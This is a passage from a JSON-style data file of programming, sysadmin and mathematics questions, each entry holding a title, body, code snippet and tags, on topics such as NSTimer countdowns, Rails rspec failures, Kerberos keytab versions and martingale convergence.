self.countdownTimer = [NSTimer scheduledTimerWithTimeInterval:1.00 target:self
selector:@selector(decrementTimer:) userInfo:nil repeats:YES];\n }\n\n -
(void)decrementTimer:(NSTimer *)timer\n {\n if(self.timer > 0)\n {\n
self.timer = self.timer - 1;\n self.countdown.text = [NSString
stringWithFormat:@\"%d\", self.timer];\n }\n else \n {\n
[self.countdownTimer invalidate];\n self.countdownTimer = nil;\
n }\n }\n", "ios nstimer"], "352225": ["Wordpress how to use
get_post_format_link", "I'm trying to use the get_post_format_link and can't figure
out how to use it. I want to be able to click a link from the homepage that will
tell the category.php to only show video posts when I land on it. I have the
following code in my functions.php\n\nI just want to figure out how to physically
code the link, so for example:\n\nBut that doesn't work! Would really appreciate
any advice.\n", "function get_post_format_link( $format ) {\n$term =
get_term_by('slug', 'post-format-' . $format, 'post_format' );\nif ( ! $term ||
is_wp_error( $term ) )\n return false;\nreturn get_term_link( $term );\n}\n",
"wordpress wordpress-theming"], "4991421": ["Rails Tutorial unexpected
Failure/Error: get :show, :id => @user", "I'm currently going through the awesome
Rails Tutorial, and after I did a git reset to return to a previous commit,
something broke to my database and all of a sudden I get 5 failures when I run
rspec.\n\nI'm sure this easy to fix, but I honestly dont know where to even look
at. Can anyone help?\n", "Failures:\n\n 1) UsersController Get 'show' should be
successfull\n Failure/Error: get :show, :id => @user\n
ActionView::Template::Error:\n undefined method `gravatar_for' for
#<#<Class:0xaadc884>:0xaad9990>\n # ./app/views/users/show.html.erb:5:in
`_app_views_users_show_html_erb__463664834_89565070__435144589'\n #
./spec/controllers/users_controller_spec.rb:13:in `block (3 levels) in <top
(required)>'\n\n 2) UsersController Get 'show' should find the right user\n
Failure/Error: get :show, :id => @user\n ActionView::Template::Error:\n
undefined method `gravatar_for' for #<#<Class:0xaadc884>:0xa820ca8>\n #
./app/views/users/show.html.erb:5:in
`_app_views_users_show_html_erb__463664834_89565070__435144589'\n #
./spec/controllers/users_controller_spec.rb:18:in `block (3 levels) in <top
(required)>'\n\n 3) UsersController Get 'show' should have the right title\n
Failure/Error: get :show, :id => @user\n ActionView::Template::Error:\n
undefined method `gravatar_for' for #<#<Class:0xaadc884>:0x9f0e7b4>\n #
./app/views/users/show.html.erb:5:in
`_app_views_users_show_html_erb__463664834_89565070__435144589'\n #
./spec/controllers/users_controller_spec.rb:23:in `block (3 levels) in <top
(required)>'\n\n 4) UsersController Get 'show' should include the user's name\n
Failure/Error: get :show, :id => @user\n ActionView::Template::Error:\n
undefined method `gravatar_for' for #<#<Class:0xaadc884>:0xb930cc8>\n #
./app/views/users/show.html.erb:5:in
`_app_views_users_show_html_erb__463664834_89565070__435144589'\n #
./spec/controllers/users_controller_spec.rb:28:in `block (3 levels) in <top
(required)>'\n\n 5) UsersController Get 'show' should have a profile image\n
Failure/Error: get :show, :id => @user\n ActionView::Template::Error:\n
undefined method `gravatar_for' for #<#<Class:0xaadc884>:0xb9ade94>\n #
./app/views/users/show.html.erb:5:in
`_app_views_users_show_html_erb__463664834_89565070__435144589'\n #
./spec/controllers/users_controller_spec.rb:33:in `block (3 levels) in <top
(required)>'\n", "ruby-on-rails tutorials rspec"], "2240918": ["UIWebview recycling
mechanism inside UITableView", "I created a UITableview with Custom Cells, contain
a UIWebview each.\nSo now I have a list of tiny websites, and thats exactly what I
want. (I even set the correct height of the cells according to the webview
content.\nThe problem is, when I get the cell from 'dequeue', I need to set it's
url all over again, and it makes the UIWebview to reload, so the scroll is not
smooth enough.\nI thought of creating a 'pool' of UIWebViews, but it's too
complicated
and problematic.\nSecond solution I thought of, is converting the web views to
images, but It's still complicated, because I need to put the webview back every
time the table stops.\nDo you have any idea how to make uitableview of webviews
scrolls smoothly?\nThanks!\n", "", "iphone ios uitableview uitableviewcell
uiwebview"], "5360859": ["Bluecoat Reporter alternatives?", "We are using
Bluecoat's ProxySG device in our office. It is sending its logs to an instance of
Bluecoat Reporter running on a Windows 2003 server. I've had a difficult time with
the software. It seems to stop processing logs fairly often. Now it's complaining
about not being able to find a handler process when you connect to the web GUI. Is
anybody out there using something else for processing their Bluecoat logs?\n", "",
"proxy reporting"], "5908729": ["Making div fixed vertically but glued to the
page's border horizontally", "Can you please go to:
http://www.binarymark.com/Products/ColorPickerPro/default.aspx and note the page's
layout.\nWhat I want to do is to stick or \"glue\" some small div to the right side
of the page, that is so that it's just outside of the right frame of the page.\
nHowever, vertically I want the div to be fixed to a Window, that is no matter how
much the page is scrolled, it should remain a fixed 300px from the top edge of the
window.\nHere's what it should look like http://www.binarymark.com/layexp.png\nCan
you help me please?\nSeems easy, but I have no idea how to combine vertical fixed
positioning and horizontal relative/absolute positioning and making sure it
supports all major browsers.\nThanks.\n", "", "css div positioning fixed"],
"3479840": ["Auto-Renewable Subscriptions: Detecting Gaps", "I'm developing an app
for providing digital magazines and other periodicals. for integrating auto-
renewable subscriptions and a lot of research, I came across the problem of
detecting gaps in a subscription.\nlet's say a user subscribes for a month, opts
out for half a year and subscribes again afterwards. using the apple-recommended
server-based architecture for building audit trails and the whole receipt stuff, it
would be pretty straightforward to track a user's subscription history. however, if
there's no user-triggered transactional activity during the unsubscribed period, we
will never receive an expired return value. as a consequence, the app will identify
a valid subscription and unlock any content which was released when there was no
actual subscription.\nI'm not sure if I'm missing an important point, since I
haven't found any helpful information on the web so far.\nthanks in advance!\n",
"", "objective-c ios in-app-purchase"], "2811023": ["SSMS: keyboard shortcut to
execute current row?", "SQL Server Management Studio: Is there a way to execute
current row (keyboard shortcut) without highlighting it? \n", "", "sql-server sql-
server-2008 keyboard-shortcuts ssms"], "44286": ["How to make an image from iPhones
library rotate in iOS?", "I have an application which displays the artwork from a
chosen song selected from the library and would like to make it spin constantly. \
nThe code so far is as follows:\n\n", "iPod", "ios xcode image rotation"],
"2956272": ["SimpleXML, CDATA and HTML entities", "I'm tearing my hair out trying
to work with \"simple\" XML for the first time. I'm building a small CMS for a
Flash based site and the content is held in an XML file. My problem is that many of
the copy fields are XML CDATA fields. on the one hand, with:\n\nI can pull the data
out of that node and the CDATA tags are stripped. My issues come with trying to
save the data with:\n\nProblems are:\na) tags are interpreted with their HTML
entity equivalents. I don't want this to happen. I gather this is coming from the
asXML method because even if I do an html_entity_decode on the $_POST data it's
still being converted.\nb) because of the above, there's no way to add the CDATA
tags because they also have their charachters converted.\nSimpleXML so far has been
anything but simple for me. Has anyone ever run into this?\n", "$xml =
simplexml_load_file($file, 'SimpleXMLElement', LIBXML_NOCDATA);\n", "php flash
simplexml"], "4459570": ["Find infinitely many pairs of integers $a$ and $b$ with
$1 < a < b$, so that $ab$ exactly divides $a^2 +b^2 \u22121$.", "So I came up with
$b= a+1$ $\\Rightarrow$ $ab=a(a+1) = a^2 + a$\nSo that: \n$a^2+b^2 -1$ = $a^2 +
(a+1)^2 -1$ = $2a^2 + 2a$ = $2(a^2 + a)$ $\\Rightarrow$\n$(a,b) = (a,a+1)$ are
solutions. \nMy motivation is for this follow up question:\n(b) With $a$ and $b$ as
above, what are the possible values of:\n$$\n\\frac{a^2 +b^2 \u22121}{ab}\n$$ \
nUpdate\nWith Will Jagy's computations, it seems that now I must show that the
ratio can be any natural number $m\\ge 2$, by the proof technique of vieta
jumping. \nUpdate\nVia Coffeemath's answer, the proof is rather elementary and does
not require such technique. \n", "", "number-theory elementary-number-theory"],
"2755214": ["How can I change the PKI certificate I'm using in Firefox?", "I have a
dozen or so PKI certificates installed on my computer that I use for testing a web
app. They represent the \"users\" Andy Tester, Billy Tester, Cindy Tester, &c.
Fairly frequently, I need to test parts of the app that need multiple users to
comment on something, or that behave differently depending on the viewer. In these
situations, it'd be nice to be able to change certificates reliably, and if
possible quickly.\nHow can I change which PKI certificate I'm using? Right now, I
find that exiting Firefox 3.6/4 completely is necessary but not always sufficient
for allowing me to choose a new cert. (In IE7/8, on the other hand, exiting does
seem to be sufficient.) If there are multiple methods, fewer steps/easier steps
would be preferred. A few websites I've seen recommend just deleting the certs and
re-adding them, but that seems so awkward it can't possibly be right.\n", "",
"firefox pki"], "1858995": ["Kerberos Authentication keytab KVNO", "I have a
network environment where kerberos authentication is setup in corporate standard
(i.e. passoword can live only 30days for user). I've installed my java web
application on this system which uses keytab file generated by KDC. All works fine
until client user changes his network password after 30 + days. Goggling found it's
due to KVNO out of synchronization. So as I understand the problem being KVNO sent
by client browser is out of sync with keytab's KVNO. I have less knowledge on this
network negotiation steps (I use spring security) so I'm waiting for you guys
expertise to resolve this.Thanks in advance. \n\n",
"java.security.PrivilegedActionException: GSSException: Failure unspecified at GSS-
API level (Mechanism level: Specified version of key is not available (44)) \n",
"java-ee spring-security web-security kerberos application-security"], "2794785":
["Sliding menu not working in Internet Explorer", "Once again I have written some
Javascript using jQuery, and it works in every browser except Internet Explorer.\
nThis time it's a sliding menu for the company website that stays at the top of the
screen when you scroll down the page. In Internet Explorer the colored bar at the
bottom of the menu appears to the right of where it's supposed to be, and when you
scroll down the menu appears to the bottom right of where it's supposed to be. On
top of that, the menu border is misaligned with the menu.\nThe affected page is at
http://www.jacobsautomation.com/so_tooling.html, with the logic for the slide menu
at http://www.jacobsautomation.com/so_slidemenu.js. Below are some pictures of the
page, with Chrome left and Internet Explorer 8 right:\n\n\nDoes anyone have any
idea how I can get this working in IE?\n", "", "javascript jquery internet-explorer
google-chrome"], "4880491": ["Can I place a text box in Fancybox 2?", "I'm trying
to place a textbox into Fancybox2.\nHowever, when I click the textbox then Fancybox
code seems to reload. How can I prevent this from happening?\nYou can see an
example of the problem here; http://jsfiddle.net/geefg/11/\n", "", "jquery textbox
fancybox fancybox-2"], "5504119": ["lag function doesn't work in SAS", "Here is the
part of my program.(oldindex and oldreadmit is in retain commend)\nThe problem is
it works for oldindex=1 then readmit=1 but doesn't work lag(oldreadmit)=1 then
readmit=1. Could you tell what's the problem? Thanks in advance!\n\nJane\n", "else
if 0< gap <= 30 then do;\n index_d=0;\n if lag(oldreadmit)=1 or oldindex=1
then readmit=1;\n else oth=1;\n oldindex=index_d; \n
oldreadmit=readmit;\n end;\n", "sas"], "592545": ["How to use circular
Progress", "I failed to run a Winforms DevComponents circular Progress control
using button click event to start it, and the following code for its progress:\n\
n", " private void timer1_Tick(object sender, EventArgs e)\n{\n
this.circularProgress1.Value += 2;\n}\n\nprivate void
circularProgress2_ValueChanged(object sender, EventArgs e)\n{\n
//circularProgress2.IsRunning = !circularProgress2.IsRunning;\n
this.circularProgress2.Update();\n //this.circularProgress2.Refresh();\n}\n",
"c# winforms timer circular"], "1014383": ["Bespoke Like / Comment / Share
functionality", "One of my developers is building a Facebook tab application for a
promotion we're running. During this promotion, some users will be given trophy
awards. One of the pages in the tab application will list the trophies and their
winners and we would like to have Like / Comment / Share links underneath them,
like with URL shares:\n\nNow it would be relatively easy to hand-roll this
functionality for items that have a distinct URL (and so can be nodes in the
OpenGraph) and that's what I think we'll have to do for the blog-like
functionality, I think. (For clarity's sake, none of the current Social Plugins
meets the right needs.) But
I can't see how to do so for these trophies, which don't have a distinct URL.\nI
am right in thinking that \"things that don't have a unique URL\" can't be
OpenGraph nodes, right?\n", "", "comments opengraph"], "2137987": ["Name of segue
identifier used to arrive at present View Controller?", "I'm trying to figure out
how I can get the name of the segue identifier used to arrive at the current
viewcontroller. For example say I have viewcontroller's A, B and C. Both A and B
have a button that segues to C. When the C viewcontoller loads how can I know which
view controller I previously segued from?\nThanks\n", "", "objective-c xcode
uiviewcontroller storyboard segue"], "2805897": ["Display Some Rows as Columns in
Crystal Report", "I would like to create a report that has the following Format:\n\
nThe data that is returned in the dataset is of the format:\n\nI tried using
Crosstab but I wasn't able to acheive the required output. An hint on how to
accomplish it ? AND/OR what Crystal Report Feature|Control will help me achieve
it ?\nIn a more sumamrized way, What I would like to do is to Show the Marks of the
Subjects that are returned as multiple rows in a single row and display the similar
data in each tow i.e. the ID-1, ID-2, Name. Father Name etc. just once ! \n(Note:
The Data needs to be shown in 2 lines per Student as shown in the example.\n", "ID-
1 |Name |Subject 1|Subject 2|Subject 3|Subject 4|\nID-2 |Father
Name |Marks 1 |Marks 2 |Marks 3 |Marks 4 |\n", "c# crystal-reports report"],
"6000719": ["Google Calendar API: How do I insert an event into an existing
calendar?", "I'm using Google Calendar API, v3-1.3.1-beta. I'm having trouble
inserting a calendar event into an existing calendar. Here's the code I'm using \
n\nAnd below is the exception I get ...\n\nAnyone know how to successfully add a
calendar event? What URL am I supposed to use? When I output the editLink url for
my existing calendar object, I get\n\nThanks, - \n", " final URL entryUrl =
new URL(calendarEntry.getEditLink().getHref());\n System.out.println(\"entry
url:\" + entryUrl.toString());\n final CalendarEventEntry myEntry = new
CalendarEventEntry();\n\n myEntry.setTitle(new
PlainTextConstruct(event.getTitle()));\n myEntry.setContent(new
PlainTextConstruct(event.getDetails()));\n\n final DateTime startTime = new
DateTime(event.getStartTime());\n final DateTime endTime = new
DateTime(event.getEndTime());\n final When eventTimes = new When();\n
eventTimes.setStartTime(startTime);\n eventTimes.setEndTime(endTime);\n
myEntry.addTime(eventTimes);\n\n // Send the request and receive the response:\n
CalendarEventEntry insertedEntry = myService.insert(entryUrl, myEntry);\n", "java
api google calendar google-calendar"], "590754": ["Martingale that converges to
zero", "The question is:\n\nLet $Y_1 , Y_2, \\dots$ be nonnegative i.i.d. random
variables with $\\mathbb{E}Y_m = 1$ and\n $\\mathbb{P} (Y_m = 1) < 1$. (i) Show
that $X_n = \\prod_{m \\le n} Y_m$ defines a martingale. (ii) Use an argument by
contradiction to show $X_n \\to 0$ a.s.\n\n(i) is easy to check. For (ii), by
Martingale Convergence Theorem, we can show that $X_n$ converges to almost surely
to some $X$ with $\\mathbb{E}X \\le \\mathbb{E}X_0 = 1.$ ($X_0$ is not explicitly
defined in the question, but to make $X_n$ a martingale, we need $X_0 = 1$.)\nMy
guess is that $X = 0$ almost surely must comes from the fact $\\mathbb{P} (Y_m = 1)
< 1$. But I can't see how to continue from here.\n", "", "probability-theory
martingales"], "1493379": ["How could I create two levels of authentication for
registration on my site?", "I already have a simple registration system in place
using php and mysql. It operates well enough. However, when people visit my site
and register, I would like for them to register as part of a particular group. So,
I was thinking that registration would happen like this:\nVisitor lands on
index.php, clicks on \"Group Registration\" link.\nVisitor supplies group name and
group password. [A new table is created for that group where all user data will be
stored for that particular group]\nVisitor then is prompted for typical
registration data--name, email, etc.--and that data is stored in the newly created
group table. \nAny subsequent visitors associated with that group would click
on \"User Reg\"\nThe visitor would be prompted for group name and password\nIf
correct, then he would be prompted for typical reg data, to be stored in his
group's table.\nWhat I don't know how to do is implement the group authentication
prior to allowing user registration. Can someone help me with that?\n", "", "php
mysql registration"], "3067524": ["How can I find Phusion Passenger version?", "How
can I find my Phusion Passenger version? is there a command i can run from the
terminal?\n", "", "ruby-on-rails ruby deployment passenger"], "5045528":
["Automated Backups From Windows To Remote Linux Server", "I love Rsync under Linux
but Windows does not support it. Is there any way to automate backups to a remote
Linux Server from say...Server 2k3 or 2k8? \n", "", "linux backup server"],
"2397792": ["Where should uploaded files get stored in Rails 3.1?", "When user
uploads files. In Rails 3.0+, these would go into public/uploads. In 3.1, should
uploaded files go to app/assets/uploads? Or still in public/uploads?\nIt's not
really an issue in our environment, since we are using S3. Just trying to
understand Rails 3.1's new directory structure.\nWhat are your thoughts?\n", "",
"ruby-on-rails ruby-on-rails-3"], "1183853": ["Start learning A-Level further
maths", "I want to start learning what I need to know for A-Level further maths to
take some of the \"weight\" off of year 12 and 13. What topics should I begin
learning and what key ideas do I need to grasp and understand. Are there any books
you would recommend? I don't wont to just learn the \"simple AS\" topics, like
differentiation; that's like GCSE.\n", "", "self-learning learning"], "4480956":
["Plot weighted frequency matrix", "I wish to create this plot preferably in
pgfplots or tikz.\n \nI have actually got a version plotted (with help from SO),
but I have used R and exported the plot using tikzDevice. I can't post the tikz
code because it is way over the limit for posting (so I'll give the R code
instead).\n\nQ. So looking to plot directly with tikz/pgfplots rather than via R
and tikzdevice.\n\n", "ps <- ldply(0:35, function(i)data.frame(s=0:i, n=i))\n
plot.new()\n plot.window(c(0,36), c(0,1))\n apply(ps[ps$s<6 & ps$n - ps$s < 30, ],
1, function(x){\n s<-x[1]; n<-x[2];\n lines(c(n, n+1, n, n+1), c(s/n, s/(n+1),
s/n, (s+1)/(n+1)), type=\"o\")})\n axis(1)\n axis(2)\n lines(6:36, 6/(6:36),
type=\"o\")\n # need to fill in the unconnected points on the upper frontier\n",
"tikz-pgf pgfplots matrices r tikzdevice"], "857289": ["Colourful notes - todo list
annotations in tables", "I've decided that I'm going to make LaTeX notes for all of
my lectures next year (I'm doing computer science at university). I want a way to
brighten my notes up - make them more exiting to read when I'm deep into a month of
non-stop revision. My plan was to have a colour scheme for extra reading,
important, exam information, connections to other topics, revision strategies,
etc...\nI was thinking of hight-lighting part of the text, but also to have
annotations with the package, so I can differentiate between course content and
commentary.\nThe problem with this is that annotations doesn't work in tables, the
lines from the annotations don't go to the text, and they mess up on some other
non-block-text layouts. I suppose its not really designed for them to be left in
published work.\nDoes anyone have a way to annotating that does work in these
situations?\nIs there a better way I could go about it?\nDo you have any tips to
produce exciting notes?\nEDIT: Here is an example.\n\nWhen the second is
uncommented, it give the error message\n\n", "todonotes", "tables notes
todonotes"], "5965732": ["List of Applescript terms from Xcode", "Can someone point
me to a list of xcode terms that are available for use in xcode user scripts?\
nExample scripts begin with the line:\nusing terms from application \"Xcode\"\n-
which implies there are a set of terms that are relevant to xcode.\nMy googling
hasn't turned anything up.\nThanks, Adam.\n", "", "xcode applescript"], "5045529":
["Equivalent of PostMessage in C# to synchronize with the main thread with MVVM?",
"I must be retarded with searching, because here's another seemingly common problem
that I haven't been able to solve.\nHere's my problem -- I am using WPF and MVVM,
and I have a statemachine that executes in the model. If an error occurs, I need
to pass information up to the ViewModel to display the error. This part seems to
work okay. When the user clicks the desired behavior, the code in the model
continues, and looks at the object the user interacts with to determine what to do
next.\nThe problem is that the model needs to reload a file, which updates the GUI
with the contents of said file. Because the model is executing in a thread, you
can imagine what I'm going to ask next -- how the hell do you synchronize with the
GUI properly? In MFC, I would have used either SendMessage or PostMessage to
accomplish the GUI update.\nI've read articles for WinForms that suggest using
InvokeRequired to automatically call BeginInvoke if necessary. I actually didn't
know that BeginInvoke would accomplish what I wanted, so I was encouraged to learn
this.\nHow do I actually call BeginInvoke from my model? Does this method even
apply to WPF? I went ahead and implemented a delegate and then called Invoke, but
I get the same error that tells me the collection can't be modified from this
thread. I also tried BeginInvoke for the hell of it, but I assume that also
wouldn't work because it would just launch from a different thread anyway.\
nConfused. If I have missed something really obvious that's been posted about all
over the internet, go ahead and give me a verbal lashing, I probably deserve it.\
nEDIT - I should probably also add that I am looking for something other than a
timer or BackgroundWorker-based solution, unless that's the only way to solve this
in WPF / MVVM. Also, I wonder if any of the MVVM toolkits would have facilities
for this sort of thing already...\n", "", "c# wpf gui mvvm synchronization"],
"4205036": ["storing binary data on cassandra just like MYSQL BLOB binary", "can we
store binary data to apache cassandra?\ni'm thinking about storing image to apache
cassandra\n", "", "database nosql cassandra"], "4466971": ["How to prevent browsers
from remembering checkbox state?", "In a web form, when I programatically uncheck
checkboxes which was previously checked, the browsers try to \"remember\" the
previous state and check them again after postback.\nIs there anything similar to
to accomplish this? Anyway, how can I prevent the browser from checking checkboxes
which I want to become unchecked? \n", "autocomplete=off", "c# asp.net html browser
autocomplete"], "3094886": ["How to create subdomains for IIS7 programmatically?",
"I'm writing a SaaS app in C#/ASP.NET, hosted with IIS7. I want to create a
personalized subdomain for every customer that signs up, i.e. fred.mydomain.com,
bob.mydomain.com, each of which will point to the same app, just with a different
skin per customer. \nHow do I create these subdomains programmatically?\n", "",
"c# asp.net iis7 subdomain saas"], "4471267": ["extract the last column from a tab
separated file", "I have the following data in a text file.\n\nWhat unix commands I
can use to do something like \"SELECT LAST_COLUMN WHERE FIRST_COLUMN = '10993'\"\
nthen the result would be:\n\n", "10993 39750 11002\n10993 39751 10995\
n10993 39752 48981\n10993 39750 344417 79600\n10985 39750 344417
475879\n110010 39750 59816\n", "linux perl unix awk"], "2146161": ["associating
a dojoAttachpoint to a div create dynamicallycaly", "I want to create a div
dynamically and want to attach a dojoAttachpoint. How can i do so?\nFollowing code
is used to add a div dynamically, but i want to attach a dojoAttachpoint too\n\n",
"var txt = dojo.create(\"div\", {\n id: \"alert\",\n role: \"alert\",\n
'class': \"contenthide\",\n innerHTML: msg\n}, dojo.body());\n", "javascript
dojo"], "3921765": ["How can i use multiple GSM modem to process SMS to/from a
single number?", "keeping in mind that GSM modem can only process about 10 sms per
minute, is there a way to use multiple modems to handle 1 number? E.g. use 10
modems to get 100 sms per minute but it's still the same number. Thanks!\n", "",
"sms modem gsm sms-gateway"], "3374525": ["Unable to load Sphinx.so dynamic library
after PHP upgrade", "I am upgrade PHP to 5.4.4.1 on my debian server.\nI have some
modules from PECL, and now one of them shows:\n\nreinstall form PECL don't resolve
problem, what can I do?\n", "#php --ini\nPHP Startup: Unable to load dynamic
library '/usr/lib/php5/20100525/sphinx.so' - /usr/lib/php5/20100525/sphinx.so:
undefined symbol: sphinx_open in Unknown on line 0\n", "php sphinx pecl"],
"398947": ["Require unimplemented interfaces as parameters to business layer?",
"Does it smell bad to require a consumer to implement an interface just to pass
parameters?\n\nJust to help visualize, my specific situation is an ASP.NET C# MVC
website, with the following assembly contents:\n\nI have roughly 100 ViewModels
that were tightly coupled with my business logic. I've extracted these to
interfaces (as shown above) to avoid adding yet another layer of identical models
to automap, now that I'm finally separating my business layer from the website.\nI
suppose it's a fine first step in this process. This allowed me to move the
business logic out of the assembly, but I feel dirty, like all I did is shuffle
code around. Not all of my ViewModels are this coupled, but IBillingAddress is just
one of multiple examples.\nDo you think it's bad form to require a consumer to
implement an interface just to pass parameters? I feel like I'm back in Win32 API
days when I do that. Should I just pass 10 more standard type parameters to my
business method? Is there some obvious pivot to my architecture I'm overlooking?\n\
nEdit:\nI'm still giving this some thought. Perhaps one of the reasons that this
example confuses me is because BillingAddress seems like a relatively fixed
interface to depend on. It makes more sense to expose it and build it into a
ViewModel. I guess if it were a potentially moving target (like ICustomer, for
example) a mapped interaction would make more sense. Your advice is still desired.\
n", "MyWebAssembly.Web\n Controllers\nMyWebAssembly.Models\n
PurchaseViewModel : IBillingAddress\n SubscribeViewModel :
PurchaseViewModel\n AddCreditsViewModel : PurchaseViewModel\
nMyWebAssembly.BLL\n IBillingAddress\n BeginPurchase(IBillingAddress, etc.)\
nMyWebAssembly.Data\n Models\n", "asp.net-mvc architecture interface refactoring
viewmodel"], "4205035": ["maven repositories: Absent Code attribute in method",
"I've been developing a spring/hibernate project and I'm trying to move to maven.
I'm experiencing a nasty problem with tests while running .\nAs you would ask for
it, my current pom.xml is available on github, and the exception trace looks like
the following:\n\nI've tried to add several dependencies I found on google, but
they resulted in another strange exceptions. I read at mkyong.com that this could
be because of java files not containing method bodies, but I checked the javaee-api
package and it has the javax.transaction.SystemException class implemented.\n",
"build", "exception maven repository"], "155787": ["are ms-dos api calls hard coded
into exe?", "if i remember correctly, when dos loads a programm, the programm gets
to use all of the processor, i.e. dos doesn't do anything in the meantime, but
somehow that doesnt figure for me, i.e. api calls still have to be evaluated. are
the api calls hard coded into the programm when an asm file is assembled and
linked? the reason i want to know this, is that i need to know weather the cache is
fully free for the exe, to experiment with cache optimization.\n", "", "caching dos
exe ms-dos"], "5301772": ["How to pass some parmeters with a HTTP request which is
sent to Tomcat WebApp?", "I want to pass these parameters with a HTTP request to a
WebApp hosted in Tomcat Container,\nUser Name, Password, The resource this request
queries, What type a request is send\nSo is there a way to add these to HTTP header
? I heard that we can send the User Name and Password using HTTP Basic
authentication way. Is there a way to send other parameters also ?\n", "", "http
tomcat servlets http-headers"], "3907401": ["How is a 1GPBS 64-bit ethernet card
different from a 32-bit one?", "Given two ethernet cards as follows\n\n1 GBPS 32-
bit PCI\n1 GPBS 64-bit PCI \n\nWhen both ethernet cards share the same 1GBPS
rating, how are the additional 32-bits relevant? \nEDIT: Attached link to a few I
located on ebay\n", "", "ethernet pci"], "611204": ["Path on Client side of RESTful
Web Service", "Ok so this is the code on the server side i just have question on
how is the path gonna be defined on the client's side.\nThis is the method on the
server \n\nNow on the client side \n\n/\"+num+\"/\"+product+\"/\"+amount);\nIs this
the correct syntax??\nAlso can the num and amount be integers while the product a
string or am i gonna have a problem with it?\n",
"@Path(\"{index}/{product}/{amount}\")\n@PUT\n@Produces(\"text/plain\")\npublic
String editTable (@PathParam(\"index\") Integer index, @PathParam(\"product\")
String product, @PathParam(\"amount\") Integer amount)\n{...}\n", "java rest
service web"], "1551064": ["string to integer in xslt", "Hi i want to conver a
string value in xslt to a integer value.I am using xslt 1.0 so i can't use those
functions supported in xslt 2.0 .\nPlease help .\n", "", "string xslt int"],
"1298166": ["Mapping a junction table with additional data in C# with NHibernate",
"Let's say I have a Parent and Child table, and a ParentChild table that maintains
the relationships between them.\nParent class:\n\nChild class:\n\nand the
ParentChild class:\n\nHow would I map these so that I can do an update on the
parent object that will also update the junction table with the additional data
(not just parent/child id) and the Child table.\nFor now, I'm doing:\nParent Map\n\
nChild Map\n\nParentChild Map\n\nBut when I pull from the Parent repository, the
Child in the ParentChild collection of the Parent object is a Castle.Proxy instead
of a Child type.\nHow should this mapping be done to achieve the desired result?\
n", "public class Parent\n{\n public virtual int ParentId { get; set; }\n
public virtual bool Deleted { get; set; }\n\n public Parent()\n {\n
_children = new HashedSet<Child>();\n }\n\n protected ISet<Child>
_children;\n\n public virtual ISet<Child> children\n {\n get
{ return _children; }\n protected set { _children = value; }\n }\n}\n",
"c# mvc nhibernate-mapping"], "5019379": ["Limit points: $(A \\cup B)' = A' \\cup
B'$?", "Let $A'$ denote the set of limit points of $A$ where $A$ is a subset of a
metric space $X$\nIs the claim in the title true? And if so, is the following proof
correct (just the inclusion $\\subset$)?\nLet $x \\in (A \\cup B)'$. Then for
every $B_r(x)$, there exists $y$ such that $x \\ne y$ and $y \\in B_r(x) \\cap
(A \\cup B)$. Hence $y \\in A$ or $y \\in A$ or $y \\in B$ or both. If $y \\in
A$, then $x \\in A'$ and if $y \\in B$, then $x \\in B'$. Thus $x \\in A' \\cup
B'$. So $$(A \\cup B)' \\subset
A' \\cup B'$$\n", "", "real-analysis"], "4107052": ["Why are my Windows 7 updates
continuously failing?", "I'm an advanced level user here with an odd issue. I have
two Windows Updates that are failing to install, every single time. I'm getting a
mysterious \"Code 1\" error on both updates, an error for which I'm having
difficulty finding a solution.\nThe updates in question are:\n\nSecurity Update for
Microsoft Visual C++ 2008 Service Pack 1 Redistributable Package (KB2538243)\
nSystem Update Readiness Tool for Windows 7 for x64-based Systems (KB947821) [May
2011]\n\nBecause these updates are failing, the Shut Down button in my start menu
always has the shield icon next to it, indicating that \"new\" updates will be
installed on shut down. But, of course, they'll fail and when the PC is restarted,
the shield icon is still there.\nWhen checking the update history and viewing the
details of the failed updates, I get the following:\n\nSecurity Update for
Microsoft Visual C++ 2008 Service Pack 1 Redistributable Package (KB2538243)\n
Installation date: \u200e6/\u200e29/\u200e2011 3:00 AM\n Installation status:
Failed\n Error details: Code 1\n Update type: Important\nA security issue has
been identified leading to MFC application\n vulnerability in DLL planting due to
MFC not specifying the full path\n to system/localization DLLs. You can protect
your computer by\n installing this update from Microsoft. After you install this
item,\n you may have to restart your computer.\nMore information:
http://go.microsoft.com/fwlink/?LinkId=216803\n\nand:\n\nSystem Update Readiness
Tool for Windows 7 for x64-based Systems (KB947821) [May 2011]\n Installation
date: \u200e6/\u200e28/\u200e2011 3:00 AM\n Installation status: Failed\n Error
details: Code 1\n Update type: Important\nThis tool is being offered because an
inconsistency was found in the\n Windows servicing store which may prevent the
successful installation\n of future updates, service packs, and software. This
tool checks your\n computer for such inconsistencies and tries to resolve issues
if\n found.\nMore information: http://support.microsoft.com/kb/947821\n\nAbout My
System\nI'm running Windows 7 Home Premium 64-bit. This is a custom PC build and
the OS was installed fresh, not an upgrade from a previous version. I've been
running this system for about four months. Windows Updates aside, the system is
usually quite stable.\n", "", "windows-7 troubleshooting windows-update"],
"5301773": ["virtual san appliance in esxi? why?", "I am looking at different SAN
solutions (Starwind, Lefthand, OpenFiler, OpenSolaris, etc.) for my small office
and I understand that there are many virtual SAN appliance (VSA) solutions which
can be used with ESXi.\nDoes anyone use it in a mission critical environment? \
nLet's see if I got it right: \nIn order for the SAN VM to \"see\" the harddisks,
ESXi would have to \"see\" it first right? I'm assuming you would have to install
the SAN VM on a local datastore, AND allocate space on a local datastore for the
SAN VM, something like this: \n\nUSB boot ESXi\nRAID card with local disk array A
(For OS)\nRAID card with local disk array B (For SAN) \nInstall SAN VM on local
disk array A\nUse local disk array B as SAN datastore \nShare SAN datasore with
other ESXi machines\n\nAre there advantages to this kind of setup? It seems a
little overcomplicated to set it up this way, isn't it? How does this support HA? \
n", "", "virtualization vmware-esxi san server-setup"], "3479841": ["calling a
procedure or handling in code behind - which is better?", "I am working on ASP.NET
2.0 application with c# language.\nCan anyone tell me which is the best way of the
following :\nscenario:\nI need to get data from the database and bind it to the
grid view.\ncase 1:\nI can use a stored procedure(for iteraing the result which is
obtained from the basic query and do operations on this result set) for getting
the final result.\ncase 2:\nI can get the result ( obtained from the basic query)
and do the iteration and operations in the code behind file.\nPlease let me know
which case is best way of good programming.\nThanks\nRupa\n", "", "c# stored-
procedures codebehind"], "3142721": ["Do browsers change URLs of saved bookmarks in
response to 301 redirection?", "HTTP status code 301 is used to indicate that
content has moved permanently, and that the returned URL should be used to access
